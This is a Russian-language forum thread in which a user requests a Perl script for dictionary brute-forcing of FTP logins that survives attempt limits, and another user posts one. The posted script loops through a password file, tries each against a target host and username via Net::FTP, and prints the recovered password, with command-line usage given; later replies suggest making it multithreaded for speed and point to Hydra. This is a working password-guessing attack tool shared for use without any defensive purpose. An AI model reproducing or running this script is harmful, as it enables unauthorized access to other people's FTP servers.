Perl скрипт для FTP брута

Требуется перловый простенький скрипт для брута по словарю, желательно много поточный, который не умирает после ограниченного кол-ва попыток авторизации, а продолжает свое коварное дело.
Что посоветуете?

 

Боян
гидра.

 

пицот мильенов таких скриптов в паблике
я сам помнится выкладывал... давно правда

 

Никаких боянов! перловый скрипт!
ПО поиску по форуму не нашел ничего толкового кроме скрипта от hold up team - но именно он и дохнет после n (чаще всего n < 10) попыток авторизации.

 

http://www.google.ru/search?complete=1&hl=en&newwindow=1&client=firefox-a&rls=org.mozilla:en-USfficial&hs=brW&sa=X&oi=spell&resnum=0&ct=result&cd=1&q=perl+ftp+brute+force&spell=1

http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=ftp+brute+force&type=archives

 

Я полностью согласен с поиском - но то-то и оно, что мне не нужен комплект утилит для брута, уж тем более виндовые - нужен маленький шустрый скрипт, который через поиска найти проблемно - поэтому я и спрашиваю - у кого есть такой на собственнном вооружении.

 

Code:

#!/usr/bin/perl
use NET::FTP;
print "FTP Bruteng by Spyder\nWorking...\n";
open (SRC, "G:/xek.txt") or die "cant open\n";# путь к файлу с паролями, в винде вообще проблема с открытием файлов
@SRC = <SRC>;
$n = @SRC;
CHECK: for ($id = 0;$id <= $n;$id++) {
$login = "$ARGV[1]";
$pass = "$SRC[$id]";
chomp($pass);
$ip = "$ARGV[0]";
$ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
last CHECK if $ok;
}
print "Pass for $ARGV[0] is $SRC[$id]\n";

Вроде работает
Запускаем:
perl brute.pl <адрес> <логин>

 

Spyder а почему ты не реализовал многопоточность? ее же легко сделать, а так скорость будет ниже в 2-3 раза чем с многопоточностью

 

я ламер и нуб